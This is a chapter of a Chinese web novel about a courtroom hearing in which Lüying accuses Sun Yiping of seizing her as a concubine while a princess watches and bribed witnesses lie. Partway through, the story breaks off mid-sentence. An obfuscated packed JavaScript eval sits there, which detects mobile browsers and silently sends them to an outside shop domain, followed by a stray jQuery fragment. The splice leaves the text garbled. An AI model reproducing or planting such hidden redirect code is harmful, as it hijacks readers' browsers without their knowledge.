吴延庆看了眼案上摆着的牒诉,清了清嗓子,道:“绿颖,你在状上说你是被孙益平强抢为妾的。”
“那便详细说说他强抢你的经过,孙府家丁殴打你双亲后他们身上可留下了什么伤?此事发生时周围有哪些人瞧见?”
“是,大人,”绿颖昨日拿到刘虞写的状纸后便仔细记过上面的内容,因而对答如流,“孙益平是在去年冬月初七逛城东市肆时盯上民女的,他先是对民女说了些浑话,见民女未曾搭理他,便一路尾随民女至越郢坊。”
“民女借着夜色甩掉了他。翌日却发现孙益平带了两个家丁挡在民女家门口,威胁民女爹娘说如果不将民女交出来,便要打断他们的腿,当时旁边的两户人家都听见了他说的话。”
“你继续说。”吴延庆将手搭在惊堂木上,道。
绿颖接着道:“民女的父亲自是不肯将民女交给这种人,谎称民女不在家去外地省亲,但民女其实躲在门后透着缝隙偷看。”
“孙益平一怒之下让家丁用棍棒击打他的膝盖,他当场站不稳跪了下去,民女无奈之下冲了出去,请求孙公子放过民女一家。可孙公子根本不听民女哀求,将民女直接绑去了孙府。”
林蕴霏也是头一次听绿颖将整件事说得这般详尽,耳畔仿佛响起那日绿颖被拉走时凄怨的哭声,她的爹娘奋力的呐喊。
绿颖当着众人面将这些事说出,无异于又被钝刀剜开一次心伤。
她同她的家人没有做错任何事,却横遭此祸,想要状告始作俑者还得经历这番自证苦楚,不可谓不公平。
“大人明鉴,自那日起,”绿颖仰起头看向上首的吴延庆,“民女的父亲腿脚便落下了病根,每逢雨日,痛不欲生。”
“大人,此女简直是满口胡言,”孙益平猛地站了起来,用手指着绿颖道,“是她在市肆上先对我眉目传情,我以为将成一段假话,便跟着她去了越郢坊。这期间,她没有向我说过一句拒绝的话,分明是默许之意……”
“府尹大人,原谅本宫出声打断,”林蕴霏幽幽看向吴延庆,“但孙益平在公堂之上未经大人允许随意起身,这实在是不成体统,您说呢?”
吴延庆睨了眼底下一脸不快的孙益平,道:“公主殿下说得不错。孙公子,你需依照规矩跪下说话。”
孙益平用牙咬着两颊,在身后的衙役打算伸手去摁他的肩膀时,他一甩衣袍跪下。
林蕴霏当作未有感受到来自他的如炬目光,自若地靠坐在椅上。
“杨绿颖可有向你说过她钟情于你的话?孙益平,望你三思后再回答。”吴延庆的嗓音听不出有何异常,说出的话却是字斟句酌后的提示。
然而这话在公堂上极为常见,林蕴霏无法凭这一句话指摘吴延庆的偏私。
这一来回,她堪堪与吴延庆打了个平手。
获得暗示的孙益平心中稍定,做起了表面戏码:“启禀府尹大人,杨绿颖虽未对小民说过钟情之语,但那夜月下,小民问她是否愿意跟着在下,她是点了头的,小民看得真真切切。”
“大人,如今这妮子颠倒是非,状告小民强抢她为妾,在下何其冤枉呐!”孙益平拿手捶着胸,哭天喊地道,“您一定要为在下做主啊!”
“府尹大人,他说的全是假话!”绿颖着急反驳道,“民女没答应过要跟着他。”
孙益平仗着嗓门大,盖过了绿颖解释的声音:“杨绿颖,你不过是一个农家女,我孙益平乃当朝户部侍郎之子,孙家乃百年书香门第,倘非你蓄意勾引,我如何会瞧得上你。”
见吴延庆未出言阻截,孙益平愈发说得起劲:“你之所以引/诱我,不就是想要攀上孙家的高枝,享上富贵荣华吗?可因着你的出身,你仅能做我的妾室,你心有不甘,便借此莫须有的名头状告于我,欲使我身败名裂。”
“我当初真是瞎了眼,居然看上了你这般毒妇。”孙益平恨恨道,誓要将绿颖贬成他脚下踩的尘埃。
他这盆脏水泼得极狠,外头某些爱在女人面前逞风头从而抬高自己的男子们当即窃窃私语起来,说绿颖朝三暮四,不守妇德。
林蕴霏听着那些不堪入耳的闲言碎语,正想开口,却被吴延庆抢了先。
对方装模作样地一敲醒木,道:“肃静。”
“大人,您切莫听信他的鬼话,”在听到那些无关人等横加指责的话时,绿颖的确万分羞恼,甚至生出想要离开此处的念头,但她很快想到自己下落不明的双亲,镇定了下来,“那夜的事并无旁人瞧见,他想如何编就如何编。”
“但次日孙益平殴打民女父亲一事,却是邻里几户人家有目共睹的,大人不妨问询他们。”
绿颖的沉着应对令林蕴霏的担心落回了原处,她静默地等着瞧孙益平的反应。
吴延庆于是问:“孙益平,你对此作何解释?”
“吴大人,请听小民细说。在下第二日确实又去了一趟越郢坊,身边跟着两个家丁,但并非如杨绿颖诬陷那般殴打了她的爹娘,恰恰相反,在下是去拜见她的双亲,那两个家丁则是帮忙搬彩礼的。”
孙益平作出被辜负的伤神样,道:“在下怜惜她是家中独女,对她双亲以礼相待,哪里想到有朝一日会被她反咬一口。”
“当时周遭的人家都瞧见了在下的真实所为,”孙益平道,“大人只管让他们上堂作证,小民清白之身立刻明了。”
此言一出,堂外一片哗然,绿颖与孙益平各执一词且相差甚远,众人不由得感叹起此案的扑朔迷离。
作为知情者的林蕴霏却也感到事情有些脱离她的掌控了。
刘虞曾提醒过她,越郢坊的那些干系人极有可能会屈从于孙家的威势,隐瞒事实。对此,在看到孙益平丝毫不畏惧干系人指证的那刻,林蕴霏就知晓了他已然将他们成功收买。
但孙益平为何敢主动提起彩礼一事?
是了,他命人抓走了绿颖的爹娘,且控制了越郢坊内其余的干系人,状纸上写的绿颖双亲受殴打之事、未收到彩礼一事,全成了无从对峙考证的空话。
之后但凭孙益平一张嘴,是非黑白全部改写,绿颖拿不出新的证据,便得认栽。
适才在承天府外林蕴霏被绿颖爹娘消
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196618|150827||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
失的消息打了个措手不及,接着又一腔热血上脑,不管三七二十一进了承天府上了公堂。
此刻脑子冷静下来后,林蕴霏迟来地意识到局势远比她预想的还要不妙。
这边林蕴霏搜肠刮肚地思量着该如何拖延听讼,为侍卫们寻找绿颖爹娘争取时间,那边越郢坊的一众干系人已被传唤到堂上,他们齐齐低首跪成一排,看起来尤为战战兢兢。
“诸位不必紧张,本官叫你们过来就是问几个问题,你们据实以答便可,”吴延庆说着宽慰的话,端肃的神情却叫人不敢松懈,“冬月初八那日孙益平去越郢坊寻杨绿颖,当时究竟都发生了何事?”
“禀告大人,那日……”其中一位穿着藕色直领襦裙的中年女子紧绞着手指,嗫嚅道,“那日孙公子来给杨绿颖家送彩礼,杨绿颖的爹娘欢欢喜喜地收下了,民妇只知晓这么多。”
绿颖不可置信地看向女子,哀求道:“张媛婶,您在说什么胡话,事情明明不是这样的!从前您浣衣时不小心坠湖,可是我爹娘费了好大劲将您救起来的,如今我只想要您帮着说一句真话,竟也不行吗?”
视线中的人身子一僵,却是不肯抬眼看她。
绿颖收回了目光,唇角牵扯起一抹自嘲的笑意,瞧着比哭还难看。
“府尹大人,一人之言确实不可轻信,”孙益平及时接上话,端的是一副坦荡求证清白的模样,“小民恳求大人再多问几位干系人,以免这位绿颖姑娘心有不服。”
“魏承是哪位?”吴延庆如他所愿,开口点人。
一名蓄有短须的男子应声答道:“大人,正是草民。”
“你来说说,你在那日都瞧见了些什么?切记如实回答,若因你的不实之言导致本案错判,承天府会追究你的过失。”
“是,”魏承深吸一口气,道,“草民就住在杨绿颖家旁,亲眼目睹了那日的事。孙公子和两位家丁搬来了一个大木匣子,里头装着白花花的银子与绸缎,他与杨绿颖的爹娘交谈甚欢,绿颖那姑娘则在屋中躲着,想来是害羞。”
听罢,绿颖再不对他们抱有希望,颓然用手撑着地才没让自己歪倒。
“杨绿颖,你这边可有新的干系人能为你的言辞作证?如若无人,本官只得拟判你状告不实,驳回你的牒诉。”吴延庆沉声道,一字一句如巨石砸入林蕴霏与绿颖的心湖中。
绿颖顾不上与林蕴霏对眼神,赶忙道:“大人,民女有干系人的,但……”
话说到后头她的声音逐渐低了下去,落在旁人眼中像是没有底气的支吾。
瞧见她哑口无言,孙益平可谓是春风满面,昂首冲着吴延庆道:“大人,杨绿颖言语吞吐,正是心虚之貌,小民与她的话孰真孰假已然明了。还请大人尽快断决,以示公道。”
“依本官看,此案……”
吴延庆才说出几个字,林蕴霏便跟上:“且慢。”
“大人,且慢……”另一道洪亮的男声破开人群,压过林蕴霏与吴延庆的声音,引得堂内众人注目。
在看清来者的面孔时,绿颖的眸光瞬时亮起如晨间初露。